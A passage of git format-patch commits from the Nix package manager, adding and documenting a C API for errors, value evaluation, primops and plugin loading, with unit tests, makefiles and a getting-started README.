// cffi start +// cffi start - // Type definitions - /** - * @brief Represents a nix evaluator state. - * - * Multiple can be created for multi-threaded - * operation. - * @struct State - */ - typedef struct State State; // nix::EvalState +// Type definitions +/** + * @brief Represents a nix evaluator state. + * + * Multiple can be created for multi-threaded + * operation. + * @struct State + */ +typedef struct State State; // nix::EvalState /** * @brief Represents a nix value. * diff --git a/src/libutil/nix_api_util.h b/src/libutil/nix_api_util.h index 63854e4d8..98c837a84 100644 --- a/src/libutil/nix_api_util.h +++ b/src/libutil/nix_api_util.h @@ -22,11 +22,11 @@ extern "C" { /** @defgroup errors Handling errors * @brief Dealing with errors from the Nix side * - * To handle errors that can be returned from the Nix API - * nix_c_context can be passed any function that potentially returns an error. + * To handle errors that can be returned from the Nix API, + * a nix_c_context can be passed to any function that potentially returns an error. * * Error information will be stored in this context, and can be retrieved - * using nix_err_code, nix_err_msg. + * using nix_err_code and nix_err_msg. * * Passing NULL instead will cause the API to throw C++ errors. * @@ -101,10 +101,17 @@ typedef int nix_err; * @brief This object stores error state. * @struct nix_c_context * - * Passed as a first parameter to C functions that can fail, will store error - * information. Optional wherever it is used, passing NULL will throw a C++ - * exception instead. The first field is a nix_err, that can be read directly to - * check for errors. + * Passed as a first parameter to functions that can fail, to store error + * information. + * + * Optional wherever it can be used, passing NULL instead will throw a C++ + * exception. + * + * The struct is laid out so that it can also be cast to nix_err* to inspect + * directly: + * @code{.c} + * assert(*(nix_err*)ctx == NIX_OK); + * @endcode * @note These can be reused between different function calls, * but make sure not to use them for multiple calls simultaneously (which can * happen in callbacks). From e74d6c1b3d13f68ae78546f5372436bb12095d26 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Thu, 3 Aug 2023 15:45:39 +0200 Subject: [PATCH 0324/1251] nix_api_expr: document nix_value_force --- src/libexpr/nix_api_expr.h | 11 +++++++++++ src/libutil/nix_api_util.h | 3 ++- 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/src/libexpr/nix_api_expr.h b/src/libexpr/nix_api_expr.h index 1211c587f..94eaa5a6c 100644 --- a/src/libexpr/nix_api_expr.h +++ b/src/libexpr/nix_api_expr.h @@ -97,9 +97,15 @@ nix_err nix_value_call(nix_c_context *context, State *state, Value *fn, /** * @brief Forces the evaluation of a Nix value. * + * The Nix interpreter is lazy, and not-yet-evaluated Values can be + * of type NIX_TYPE_THUNK instead of their actual value. + * + * This function converts Values into their final type. + * * @param[out] context Optional, stores error information * @param[in] state The state of the evaluation. * @param[in,out] value The Nix value to force. + * @post values is not of type NIX_TYPE_THUNK * @return NIX_OK if the force operation was successful, an error code * otherwise. */ @@ -108,6 +114,11 @@ nix_err nix_value_force(nix_c_context *context, State *state, Value *value); /** * @brief Forces the deep evaluation of a Nix value. * + * Recursively calls nix_value_force + * + * @see nix_value_force + * @warning Calling this function on a recursive data structure will cause a + * stack overflow. * @param[out] context Optional, stores error information * @param[in] state The state of the evaluation. * @param[in,out] value The Nix value to force. diff --git a/src/libutil/nix_api_util.h b/src/libutil/nix_api_util.h index 98c837a84..4a7f6c4cd 100644 --- a/src/libutil/nix_api_util.h +++ b/src/libutil/nix_api_util.h @@ -23,7 +23,8 @@ extern "C" { * @brief Dealing with errors from the Nix side * * To handle errors that can be returned from the Nix API, - * a nix_c_context can be passed to any function that potentially returns an error. + * a nix_c_context can be passed to any function that potentially returns an + * error. * * Error information will be stored in this context, and can be retrieved * using nix_err_code and nix_err_msg. From f0afe7f9b9b523c8b03d08314b0334025e8bbef3 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Fri, 4 Aug 2023 17:44:34 +0200 Subject: [PATCH 0325/1251] nix_api_util: throw nix::error instead of new nix::Error for null ctx's --- src/libutil/nix_api_util.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/nix_api_util.cc b/src/libutil/nix_api_util.cc index a5b575a3c..874ccdbb5 100644 --- a/src/libutil/nix_api_util.cc +++ b/src/libutil/nix_api_util.cc @@ -43,7 +43,7 @@ nix_err nix_context_error(nix_c_context *context) { nix_err nix_set_err_msg(nix_c_context *context, nix_err err, const char *msg) { if (context == nullptr) { // todo last_err_code - throw new nix::Error("Nix C api error", msg); + throw nix::Error("Nix C api error: %s", msg); } context->last_err_code = err; context->last_err = msg; From c48b9b8a8373202bffd880984b08b76c72adca61 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Fri, 4 Aug 2023 17:44:56 +0200 Subject: [PATCH 0326/1251] nix_api_util: tests --- tests/unit/libutil/nix_api_util.cc | 125 +++++++++++++++++++++++++++++ 1 file changed, 125 insertions(+) create mode 100644 tests/unit/libutil/nix_api_util.cc diff --git a/tests/unit/libutil/nix_api_util.cc b/tests/unit/libutil/nix_api_util.cc new file mode 100644 index 000000000..26353fe84 --- /dev/null +++ b/tests/unit/libutil/nix_api_util.cc @@ -0,0 +1,125 @@ + +#include "config.hh" +#include "args.hh" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" + +#include + +namespace nixC { + +class nix_api_util_context : public ::testing::Test { +protected: + static void SetUpTestSuite() { + nix_libutil_init(NULL); + } + void SetUp() override { + ctx = nix_c_context_create(); + }; + void TearDown() override { + nix_c_context_free(ctx); + ctx = nullptr; + } + nix_c_context* ctx; +}; + +TEST_F(nix_api_util_context, nix_context_error) { + std::string err_msg_ref; + try { + throw nix::Error("testing error"); + } catch(nix::Error &e) { + err_msg_ref = e.what(); + nix_context_error(ctx); + } + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); + ASSERT_EQ(ctx->name, "nix::Error"); + ASSERT_EQ(*ctx->last_err, err_msg_ref); + ASSERT_EQ(ctx->info->msg.str(), "testing error"); + + try { + throw std::runtime_error("testing exception"); + } catch(std::exception &e) { + err_msg_ref = e.what(); + nix_context_error(ctx); + } + ASSERT_EQ(ctx->last_err_code, NIX_ERR_UNKNOWN); + ASSERT_EQ(*ctx->last_err, err_msg_ref); +} + +TEST_F(nix_api_util_context, nix_set_err_msg) { + ASSERT_EQ(ctx->last_err_code, NIX_OK); + nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "unknown test error"); + ASSERT_EQ(ctx->last_err_code, NIX_ERR_UNKNOWN); + ASSERT_EQ(*ctx->last_err, "unknown test error"); +} + +TEST(nix_api_util, nix_version_get) { + ASSERT_EQ(std::string(nix_version_get()), PACKAGE_VERSION); +} + +TEST_F(nix_api_util_context, nix_setting_get) { + // todo +} + +TEST_F(nix_api_util_context, nix_setting_set) { + // todo +} + +TEST_F(nix_api_util_context, nix_err_msg) { + // no error + EXPECT_THROW(nix_err_msg(NULL, ctx, NULL), nix::Error); + + // set error + nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "unknown test error"); + + // basic usage + std::string err_msg = nix_err_msg(NULL, ctx, NULL); + ASSERT_EQ(err_msg, "unknown test error"); + + // advanced usage + unsigned int sz; + err_msg = nix_err_msg(NULL, ctx, &sz); + ASSERT_EQ(sz, err_msg.size()); +} + +TEST_F(nix_api_util_context, nix_err_info_msg) { + // no error + EXPECT_THROW(nix_err_info_msg(NULL, ctx, NULL, 256), nix::Error); + + try { + throw nix::Error("testing error"); + } catch(...) { + nix_context_error(ctx); + } + char buf[256]; + nix_err_info_msg(NULL, ctx, buf, 256); + ASSERT_EQ(std::string(buf), "testing error"); + + // should overflow + EXPECT_THROW(nix_err_info_msg(NULL, ctx, buf, 1), nix::Error); +} + +TEST_F(nix_api_util_context, nix_err_name) { + // no error + EXPECT_THROW(nix_err_name(NULL, ctx, NULL, 256), nix::Error); + + std::string err_msg_ref; + try { + throw nix::Error("testing error"); + } catch(...) { + nix_context_error(ctx); + } + char err_name[32]; + nix_err_name(NULL, ctx, err_name, 32); + ASSERT_EQ(std::string(err_name), "nix::Error"); + + // overflow + EXPECT_THROW(nix_err_name(NULL, ctx, err_name, 1), nix::Error); +} + +TEST_F(nix_api_util_context, nix_err_code) { + ASSERT_EQ(nix_err_code(ctx), NIX_OK); + nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "unknown test error"); + ASSERT_EQ(nix_err_code(ctx), NIX_ERR_UNKNOWN); +} +} From 9cccb8bae0665a311c6d64e21b536c5e3a536115 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 7 Aug 2023 15:09:50 +0200 Subject: [PATCH 0327/1251] nix_api_expr: always force values before giving them to the user --- src/libexpr/nix_api_expr.cc | 2 ++ src/libexpr/nix_api_expr.h | 6 +++++- src/libexpr/nix_api_value.cc | 5 ++++- src/libexpr/nix_api_value.h | 3 ++- 4 files changed, 13 insertions(+), 3 deletions(-) diff --git a/src/libexpr/nix_api_expr.cc b/src/libexpr/nix_api_expr.cc index 880030380..a1c6d1acb 100644 --- a/src/libexpr/nix_api_expr.cc +++ b/src/libexpr/nix_api_expr.cc @@ -49,6 +49,7 @@ nix_err nix_expr_eval_from_string(nix_c_context *context, State *state, nix::Expr *parsedExpr = state->state.parseExprFromString( expr, state->state.rootPath(nix::CanonPath(path))); state->state.eval(parsedExpr, *(nix::Value *)value); + state->state.forceValue(*(nix::Value *)value, nix::noPos); } NIXC_CATCH_ERRS } @@ -60,6 +61,7 @@ nix_err nix_value_call(nix_c_context *context, State *state, Value *fn, try { state->state.callFunction(*(nix::Value *)fn, *(nix::Value *)arg, *(nix::Value *)value, nix::noPos); + state->state.forceValue(*(nix::Value *)value, nix::noPos); } NIXC_CATCH_ERRS } diff --git a/src/libexpr/nix_api_expr.h b/src/libexpr/nix_api_expr.h index 94eaa5a6c..77632de7c 100644 --- a/src/libexpr/nix_api_expr.h +++ b/src/libexpr/nix_api_expr.h @@ -100,7 +100,11 @@ nix_err nix_value_call(nix_c_context *context, State *state, Value *fn, * The Nix interpreter is lazy, and not-yet-evaluated Values can be * of type NIX_TYPE_THUNK instead of their actual value. * - * This function converts Values into their final type. + * This function converts these Values into their final type. + * + * @note You don't need this function for basic API usage, since all functions + * that return a value call it for you. The only place you will see a + * NIX_TYPE_THUNK is in the primop callback. * * @param[out] context Optional, stores error information * @param[in] state The state of the evaluation. diff --git a/src/libexpr/nix_api_value.cc b/src/libexpr/nix_api_value.cc index 6e02b3310..ead544a0b 100644 --- a/src/libexpr/nix_api_value.cc +++ b/src/libexpr/nix_api_value.cc @@ -201,7 +201,7 @@ ExternalValue *nix_get_external(nix_c_context *context, Value *value) { } Value *nix_get_list_byidx(nix_c_context *context, const Value *value, - unsigned int ix) { + State *state, unsigned int ix) { if (context) context->last_err_code = NIX_OK; try { @@ -209,6 +209,7 @@ Value *nix_get_list_byidx(nix_c_context *context, const Value *value, assert(v.type() == nix::nList); auto *p = v.listElems()[ix]; nix_gc_incref(nullptr, p); + state->state.forceValue(*p, nix::noPos); return (Value *)p; } NIXC_CATCH_ERRS_NULL @@ -225,6 +226,7 @@ Value *nix_get_attr_byname(nix_c_context *context, const Value *value, auto attr = v.attrs->get(s); if (attr) { nix_gc_incref(nullptr, attr->value); + state->state.forceValue(*attr->value, nix::noPos); return attr->value; } nix_set_err_msg(context, NIX_ERR_KEY, "missing attribute"); @@ -258,6 +260,7 @@ Value *nix_get_attr_byidx(nix_c_context *context, const Value *value, const nix::Attr &a = (*v.attrs)[i]; *name = ((const std::string &)(state->state.symbols[a.name])).c_str(); nix_gc_incref(nullptr, a.value); + state->state.forceValue(*a.value, nix::noPos); return a.value; } NIXC_CATCH_ERRS_NULL diff --git a/src/libexpr/nix_api_value.h b/src/libexpr/nix_api_value.h index 110dd086f..f47dafa6a 100644 --- a/src/libexpr/nix_api_value.h +++ b/src/libexpr/nix_api_value.h @@ -178,11 +178,12 @@ ExternalValue *nix_get_external(nix_c_context *context, Value *); * Owned by the GC. Use nix_gc_decref when you're done with the pointer * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect + * @param[in] state nix evaluator state * @param[in] ix list element to get * @return value, NULL in case of errors */ Value *nix_get_list_byidx(nix_c_context *context, const Value *value, - unsigned int ix); + State *state, unsigned int ix); /** @brief Get an attr by name * * Owned by the GC. Use nix_gc_decref when you're done with the pointer From e891aac2e45aeb07f8ebf0304fd465a82aefafd8 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 7 Aug 2023 15:10:04 +0200 Subject: [PATCH 0328/1251] nix_api_value: add nix_get_attr_name_byidx get attr names without forcing --- src/libexpr/nix_api_value.cc | 12 ++++++++++++ src/libexpr/nix_api_value.h | 16 ++++++++++++++++ 2 files changed, 28 insertions(+) diff --git a/src/libexpr/nix_api_value.cc b/src/libexpr/nix_api_value.cc index ead544a0b..ceff036c9 100644 --- a/src/libexpr/nix_api_value.cc +++ b/src/libexpr/nix_api_value.cc @@ -266,6 +266,18 @@ Value *nix_get_attr_byidx(nix_c_context *context, const Value *value, NIXC_CATCH_ERRS_NULL } +const char *nix_get_attr_name_byidx(nix_c_context *context, const Value *value, + State *state, unsigned int i) { + if (context) + context->last_err_code = NIX_OK; + try { + auto &v = check_value_not_null(value); + const nix::Attr &a = (*v.attrs)[i]; + return ((const std::string &)(state->state.symbols[a.name])).c_str(); + } + NIXC_CATCH_ERRS_NULL +} + nix_err nix_set_bool(nix_c_context *context, Value *value, bool b) { if (context) context->last_err_code = NIX_OK; diff --git a/src/libexpr/nix_api_value.h b/src/libexpr/nix_api_value.h index f47dafa6a..08eb34fc5 100644 --- a/src/libexpr/nix_api_value.h +++ b/src/libexpr/nix_api_value.h @@ -207,6 +207,8 @@ bool nix_has_attr_byname(nix_c_context *context, const Value *value, State *state, const char *name); /** @brief Get an attribute by index in the sorted bindings + * + * Also gives you the name. * * Owned by the GC. Use nix_gc_decref when you're done with the pointer * @param[out] context Optional, stores error information @@ -218,6 +220,20 @@ bool nix_has_attr_byname(nix_c_context *context, const Value *value, */ Value *nix_get_attr_byidx(nix_c_context *context, const Value *value, State *state, unsigned int i, const char **name); + +/** @brief Get an attribute name by index in the sorted bindings + * + * Useful when you want the name but want to avoid evaluation. + * + * Owned by the nix State + * @param[out] context Optional, stores error information + * @param[in] value Nix value to inspect + * @param[in] state nix evaluator state + * @param[in] i attribute index + * @return name, NULL in case of errors + */ +const char *nix_get_attr_name_byidx(nix_c_context *context, const Value *value, + State *state, unsigned int i); /**@}*/ /** @name Setters */ From 713f10aeaaaf178cbbc85ad88a52e6684f517789 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 7 Aug 2023 15:33:07 +0200 Subject: [PATCH 0329/1251] nix_api_value: Add nix_register_primop to add builtins --- src/libexpr/nix_api_value.cc | 10 ++++++++++ src/libexpr/nix_api_value.h | 14 ++++++++++++++ 2 files changed, 24 insertions(+) diff --git a/src/libexpr/nix_api_value.cc b/src/libexpr/nix_api_value.cc index ceff036c9..dae50352b 100644 --- a/src/libexpr/nix_api_value.cc +++ b/src/libexpr/nix_api_value.cc @@ -3,6 +3,7 @@ #include "eval.hh" #include "gc/gc.h" #include "globals.hh" +#include "primops.hh" #include "value.hh" #include "nix_api_expr.h" @@ -55,6 +56,15 @@ PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, NIXC_CATCH_ERRS_NULL } +nix_err nix_register_primop(nix_c_context *context, PrimOp *primOp) { + if (context) + context->last_err_code = NIX_OK; + try { + nix::RegisterPrimOp r(std::move(*((nix::PrimOp *)primOp))); + } + NIXC_CATCH_ERRS +} + Value *nix_alloc_value(nix_c_context *context, State *state) { if (context) context->last_err_code = NIX_OK; diff --git a/src/libexpr/nix_api_value.h b/src/libexpr/nix_api_value.h index 08eb34fc5..af1d211a3 100644 --- a/src/libexpr/nix_api_value.h +++ b/src/libexpr/nix_api_value.h @@ -88,6 +88,20 @@ typedef void (*PrimOpFun)(State *state, int pos, Value **args, Value *v); */ PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, const char *name, const char **args, const char *doc); + +/** @brief add a primop to builtins + * + * Only applies to new States. + * + * Moves your primop into the global + * registry, meaning your input primOp is no longer usable + * (but still possibly subject to garbage collection). + * + * @param[out] context Optional, stores error information + * @return primop, or null in case of errors + * + */ +nix_err nix_register_primop(nix_c_context *context, PrimOp *primOp); /** @} */ // Function prototypes From dc0f7d8f9652ba4fb18096e93fd50bd63ec35ad7 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 7 Aug 2023 15:41:21 +0200 Subject: [PATCH 0330/1251] initPlugins: run nix_plugin_entry() on dlopen'd plugins Only when it exists. --- src/libstore/globals.cc | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index b9ad8ac18..afb6039f3 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -346,6 +346,12 @@ void initPlugins() dlopen(file.c_str(), RTLD_LAZY | RTLD_LOCAL); if (!handle) throw Error("could not dynamically open plugin file '%s': %s", file, dlerror()); + + /* Older plugins use a statically initialized object to run their code. + Newer plugins can also export nix_plugin_entry() */ + void (*nix_plugin_entry)() = (void (*)())dlsym(handle, "nix_plugin_entry"); + if (nix_plugin_entry) + nix_plugin_entry(); } } From df9401eb4efd63d13392cf9081447d537e6776fa Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 7 Aug 2023 15:54:46 +0200 Subject: [PATCH 0331/1251] nix_api_store: add nix_init_plugins --- src/libstore/nix_api_store.cc | 9 +++++++++ src/libstore/nix_api_store.h | 11 +++++++++++ 2 files changed, 20 insertions(+) diff --git a/src/libstore/nix_api_store.cc b/src/libstore/nix_api_store.cc index c81ad49ee..0cc1d1983 100644 --- a/src/libstore/nix_api_store.cc +++ b/src/libstore/nix_api_store.cc @@ -20,6 +20,15 @@ nix_err nix_libstore_init(nix_c_context *context) { NIXC_CATCH_ERRS } +nix_err nix_init_plugins(nix_c_context *context) { + if (context) + context->last_err_code = NIX_OK; + try { + nix::initPlugins(); + } + NIXC_CATCH_ERRS +} + Store *nix_store_open(nix_c_context *context, const char *uri, const char ***params) { if (context) diff --git a/src/libstore/nix_api_store.h b/src/libstore/nix_api_store.h index bc01f0ad2..b15e161b3 100644 --- a/src/libstore/nix_api_store.h +++ b/src/libstore/nix_api_store.h @@ -35,6 +35,17 @@ typedef struct StorePath StorePath; */ nix_err nix_libstore_init(nix_c_context *context); +/** + * @brief Loads plugins specified in the settings + * + * Call this once, after calling your desired init functions and setting + * relevant settings. + * + * @param[out] context Optional, stores error information + * @return NIX_OK if the initialization was successful, an error code otherwise. + */ +nix_err nix_init_plugins(nix_c_context *context); + /** * @brief Open a nix store * @param[out] context Optional, stores error information From e642bbc2a79bfd2339e109cddc8db51f2de07342 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 7 Aug 2023 17:16:58 +0200 Subject: [PATCH 0332/1251] C API: move to src/lib*/c/ --- Makefile | 3 +++ doc/external-api/doxygen.cfg.in | 6 +++--- local.mk | 2 +- src/libexpr/c/local.mk | 19 +++++++++++++++++++ src/libexpr/c/nix-expr-c.pc.in | 10 ++++++++++ src/libexpr/{ => c}/nix_api_expr.cc | 0 src/libexpr/{ => c}/nix_api_expr.h | 0 src/libexpr/{ => c}/nix_api_expr_internal.h | 0 src/libexpr/{ => c}/nix_api_external.cc | 0 src/libexpr/{ => c}/nix_api_external.h | 0 src/libexpr/{ => c}/nix_api_value.cc | 0 src/libexpr/{ => c}/nix_api_value.h | 0 src/libstore/c/local.mk | 17 +++++++++++++++++ src/libstore/c/nix-store-c.pc.in | 9 +++++++++ src/libstore/{ => c}/nix_api_store.cc | 0 src/libstore/{ => c}/nix_api_store.h | 0 src/libstore/{ => c}/nix_api_store_internal.h | 0 src/libutil/c/local.mk | 15 +++++++++++++++ src/libutil/{ => c}/nix_api_util.cc | 0 src/libutil/{ => c}/nix_api_util.h | 0 src/libutil/{ => c}/nix_api_util_internal.h | 0 tests/unit/libutil/local.mk | 2 +- 22 files changed, 78 insertions(+), 5 deletions(-) create mode 100644 src/libexpr/c/local.mk create mode 100644 src/libexpr/c/nix-expr-c.pc.in rename src/libexpr/{ => c}/nix_api_expr.cc (100%) rename src/libexpr/{ => c}/nix_api_expr.h (100%) rename src/libexpr/{ => c}/nix_api_expr_internal.h (100%) rename src/libexpr/{ => c}/nix_api_external.cc (100%) rename src/libexpr/{ => c}/nix_api_external.h (100%) rename src/libexpr/{ => c}/nix_api_value.cc (100%) rename src/libexpr/{ => c}/nix_api_value.h (100%) create mode 100644 src/libstore/c/local.mk create mode 100644 src/libstore/c/nix-store-c.pc.in rename src/libstore/{ => c}/nix_api_store.cc (100%) rename src/libstore/{ => c}/nix_api_store.h (100%) rename src/libstore/{ => c}/nix_api_store_internal.h (100%) create mode 100644 src/libutil/c/local.mk rename src/libutil/{ => c}/nix_api_util.cc (100%) rename src/libutil/{ => c}/nix_api_util.h (100%) rename src/libutil/{ => c}/nix_api_util_internal.h (100%) diff --git a/Makefile b/Makefile index 4f60d0d8b..d9efc8154 100644 --- a/Makefile +++ b/Makefile @@ -18,6 +18,9 @@ makefiles = \ src/libexpr/local.mk \ src/libcmd/local.mk \ src/nix/local.mk \ + src/libutil/c/local.mk \ + src/libstore/c/local.mk \ + src/libexpr/c/local.mk \ src/resolve-system-dependencies/local.mk \ scripts/local.mk \ misc/bash/local.mk \ diff --git a/doc/external-api/doxygen.cfg.in b/doc/external-api/doxygen.cfg.in index 19350b2c6..d78188900 100644 --- a/doc/external-api/doxygen.cfg.in +++ b/doc/external-api/doxygen.cfg.in @@ -36,9 +36,9 @@ GENERATE_LATEX = NO # so they can expand variables despite configure variables. INPUT = \ - src/libutil \ - src/libexpr \ - src/libstore + src/libutil/c \ + src/libexpr/c \ + src/libstore/c FILE_PATTERNS = nix_api_*.h diff --git a/local.mk b/local.mk index f48eb63ee..9a1ed50df 100644 --- a/local.mk +++ b/local.mk @@ -2,7 +2,7 @@ GLOBAL_CXXFLAGS += -Wno-deprecated-declarations -Werror=switch # Allow switch-enum to be overridden for files that do not support it, usually because of dependency headers. ERROR_SWITCH_ENUM = -Werror=switch-enum -$(foreach i, config.h $(wildcard src/lib*/*.hh) $(wildcard src/lib*/*.h), \ +$(foreach i, config.h $(wildcard src/lib*/*.hh) $(wildcard src/lib*/*.h $(filter-out %_internal.h, $(wildcard src/lib*/c/*.h))), \ $(eval $(call install-file-in, $(i), $(includedir)/nix, 0644))) $(GCH): src/libutil/util.hh config.h diff --git a/src/libexpr/c/local.mk b/src/libexpr/c/local.mk new file mode 100644 index 000000000..d2f01c0a9 --- /dev/null +++ b/src/libexpr/c/local.mk @@ -0,0 +1,19 @@ +libraries += libexprc + +libexprc_NAME = libnixexprc + +libexprc_DIR := $(d) + +libexprc_SOURCES := \ + $(wildcard $(d)/*.cc) \ + +libexprc_CXXFLAGS += -I src/libutil -Isrc/libfetchers -I src/libstore -I src/libstorec -I src/libexpr -I src/libutil/c -I src/libstore/c + +libexprc_LIBS = libutil libutilc libstorec libexpr + +libexprc_LDFLAGS += -pthread + +$(eval $(call install-file-in, $(d)/nix-expr-c.pc, $(libdir)/pkgconfig, 0644)) + +libexprc_FORCE_INSTALL := 1 + diff --git a/src/libexpr/c/nix-expr-c.pc.in b/src/libexpr/c/nix-expr-c.pc.in new file mode 100644 index 000000000..897773f20 --- /dev/null +++ b/src/libexpr/c/nix-expr-c.pc.in @@ -0,0 +1,10 @@ +prefix=@prefix@ +libdir=@libdir@ +includedir=@includedir@ + +Name: Nix +Description: Nix Package Manager - C API +Version: @PACKAGE_VERSION@ +Requires: nix-store-c +Libs: -L${libdir} -lnixexprc +Cflags: -I${includedir}/nix diff --git a/src/libexpr/nix_api_expr.cc b/src/libexpr/c/nix_api_expr.cc similarity index 100% rename from src/libexpr/nix_api_expr.cc rename to src/libexpr/c/nix_api_expr.cc diff --git a/src/libexpr/nix_api_expr.h b/src/libexpr/c/nix_api_expr.h similarity index 100% rename from src/libexpr/nix_api_expr.h rename to src/libexpr/c/nix_api_expr.h diff --git a/src/libexpr/nix_api_expr_internal.h b/src/libexpr/c/nix_api_expr_internal.h similarity index 100% rename from src/libexpr/nix_api_expr_internal.h rename to src/libexpr/c/nix_api_expr_internal.h diff --git a/src/libexpr/nix_api_external.cc b/src/libexpr/c/nix_api_external.cc similarity index 100% rename from src/libexpr/nix_api_external.cc rename to src/libexpr/c/nix_api_external.cc diff --git a/src/libexpr/nix_api_external.h b/src/libexpr/c/nix_api_external.h similarity index 100% rename from src/libexpr/nix_api_external.h rename to src/libexpr/c/nix_api_external.h diff --git a/src/libexpr/nix_api_value.cc b/src/libexpr/c/nix_api_value.cc similarity index 100% rename from src/libexpr/nix_api_value.cc rename to src/libexpr/c/nix_api_value.cc diff --git a/src/libexpr/nix_api_value.h b/src/libexpr/c/nix_api_value.h similarity index 100% rename from src/libexpr/nix_api_value.h rename to src/libexpr/c/nix_api_value.h diff --git a/src/libstore/c/local.mk b/src/libstore/c/local.mk new file mode 100644 index 000000000..35e2bd63d --- /dev/null +++ b/src/libstore/c/local.mk @@ -0,0 +1,17 @@ +libraries += libstorec + +libstorec_NAME = libnixstorec + +libstorec_DIR := $(d) + +libstorec_SOURCES := $(wildcard $(d)/*.cc) + +libstorec_LIBS = libutil libstore libutilc + +libstorec_LDFLAGS += -pthread + +libstorec_CXXFLAGS += -I src/libutil -I src/libstore -I src/libutil/c + +$(eval $(call install-file-in, $(d)/nix-store-c.pc, $(libdir)/pkgconfig, 0644)) + +libstorec_FORCE_INSTALL := 1 diff --git a/src/libstore/c/nix-store-c.pc.in b/src/libstore/c/nix-store-c.pc.in new file mode 100644 index 000000000..563bd2f94 --- /dev/null +++ b/src/libstore/c/nix-store-c.pc.in @@ -0,0 +1,9 @@ +prefix=@prefix@ +libdir=@libdir@ +includedir=@includedir@ + +Name: Nix +Description: Nix Package Manager - C API +Version: @PACKAGE_VERSION@ +Libs: -L${libdir} -lnixstorec -lnixutilc +Cflags: -I${includedir}/nix diff --git a/src/libstore/nix_api_store.cc b/src/libstore/c/nix_api_store.cc similarity index 100% rename from src/libstore/nix_api_store.cc rename to src/libstore/c/nix_api_store.cc diff --git a/src/libstore/nix_api_store.h b/src/libstore/c/nix_api_store.h similarity index 100% rename from src/libstore/nix_api_store.h rename to src/libstore/c/nix_api_store.h diff --git a/src/libstore/nix_api_store_internal.h b/src/libstore/c/nix_api_store_internal.h similarity index 100% rename from src/libstore/nix_api_store_internal.h rename to src/libstore/c/nix_api_store_internal.h diff --git a/src/libutil/c/local.mk b/src/libutil/c/local.mk new file mode 100644 index 000000000..fe156e7f3 --- /dev/null +++ b/src/libutil/c/local.mk @@ -0,0 +1,15 @@ +libraries += libutilc + +libutilc_NAME = libnixutilc + +libutilc_DIR := $(d) + +libutilc_SOURCES := $(wildcard $(d)/*.cc) + +libutilc_CXXFLAGS += -I src/libutil + +libutilc_LIBS = libutil + +libutilc_LDFLAGS += -pthread + +libutilc_FORCE_INSTALL := 1 diff --git a/src/libutil/nix_api_util.cc b/src/libutil/c/nix_api_util.cc similarity index 100% rename from src/libutil/nix_api_util.cc rename to src/libutil/c/nix_api_util.cc diff --git a/src/libutil/nix_api_util.h b/src/libutil/c/nix_api_util.h similarity index 100% rename from src/libutil/nix_api_util.h rename to src/libutil/c/nix_api_util.h diff --git a/src/libutil/nix_api_util_internal.h b/src/libutil/c/nix_api_util_internal.h similarity index 100% rename from src/libutil/nix_api_util_internal.h rename to src/libutil/c/nix_api_util_internal.h diff --git a/tests/unit/libutil/local.mk b/tests/unit/libutil/local.mk index 536607322..0d0acd4c0 100644 --- a/tests/unit/libutil/local.mk +++ b/tests/unit/libutil/local.mk @@ -22,7 +22,7 @@ libutil-tests_EXTRA_INCLUDES = \ libutil-tests_CXXFLAGS += $(libutil-tests_EXTRA_INCLUDES) -libutil-tests_LIBS = libutil-test-support libutil +libutil-tests_LIBS = libutil-test-support libutil libutilc libutil-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) From 3b41830a9609e8f7c0c92317504a401b091c146e Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 7 Aug 2023 17:54:31 +0200 Subject: [PATCH 0333/1251] docs/external-api: write main page --- doc/external-api/README.md | 74 +++++++++++++++++++++++++++++++++ doc/external-api/doxygen.cfg.in | 7 +++- 2 files changed, 79 insertions(+), 2 deletions(-) create mode 100644 doc/external-api/README.md diff --git a/doc/external-api/README.md b/doc/external-api/README.md new file mode 100644 index 000000000..20015e7a9 --- /dev/null +++ b/doc/external-api/README.md @@ -0,0 +1,74 @@ +# Getting started + +There are two ways to interface with nix: embedding it, or as a plugin. Embedding means you link one of the nix libraries in your program and use it from there, while being a plugin means you make a library that gets loaded by the nix evaluator, specified through a configuration option. + +# Embedding the Nix Evaluator + +These examples don't include error handling. +See the [Handling errors](@ref errors) section for more information. + +**main.c:** +```C +#include +#include +#include +#include + +int main() { + nix_libexpr_init(NULL); + + Store* store = nix_store_open(NULL, "dummy://", NULL); + State* state = nix_state_create(NULL, NULL, store); // empty nix path + Value *value = nix_alloc_value(NULL, state); + + nix_expr_eval_from_string(NULL, state, "builtins.nixVersion", ".", value); + nix_value_force(NULL, state, value); + printf("nix version: %s\n", nix_get_string(NULL, value)); + + nix_gc_decref(NULL, value); + nix_state_free(state); + nix_store_unref(store); + return 0; +} +``` + +**Usage:** +``` +$ gcc main.c $(pkg-config nix-expr-c --libs --cflags) -o main +$ ./main +nix version 1.2.3 +``` + + +# Writing a Nix Plugin + +**plugin.c:** +```C +#include +#include +#include + +void increment(State* state, int pos, Value** args, Value* v) { + nix_value_force(NULL, state, args[0]); + if (nix_get_type(NULL, args[0]) == NIX_TYPE_INT) { + nix_set_int(NULL, v, nix_get_int(NULL, args[0]) + 1); + } else { + nix_set_null(NULL, v); + } +} + +void nix_plugin_entry() { + const char* args[] = 